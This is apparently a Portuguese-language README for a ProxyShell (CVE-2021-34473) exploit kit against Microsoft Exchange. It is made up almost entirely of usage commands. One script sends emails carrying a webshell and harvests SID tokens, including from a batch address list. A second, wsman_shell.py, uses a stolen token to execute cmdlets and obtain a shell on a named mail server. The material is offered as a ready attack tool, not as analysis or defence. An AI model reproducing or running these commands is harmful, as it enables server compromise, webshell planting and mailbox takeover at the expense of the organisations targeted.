CVE-2021-34473-Exchange-ProxyShell

• python send_webshell_mail.py https://mail16.echod.com [email protected] Obter único

• python send_webshell_mail.py https://mail16.echod.com crack lote de leitura de e-mails de mail.txt, tentar obter token SID

• python send_webshell_mail.py https://mail16.echod.com [email protected] send (apenas enviar e-mail de rascunho do webshell)

• python send_webshell_mail.py https://mail16.echod.com crack send enviar e-mails maliciosos em lote (não recomendado)

• python wsman_shell.py https://mail.echod.com [email protected] [substitua pelo token obtido] aqui apenas entra no cmdlet para executar comandos

  Após enviar o e-mail, você pode usar diretamente este comando para tentar obter shell. O caminho específico pode ser ajustado no caminho do script.

• python wsman_shell.py https://mail.echod.com [email protected] [substitua pelo token obtido] shell

Testar envio de e-mail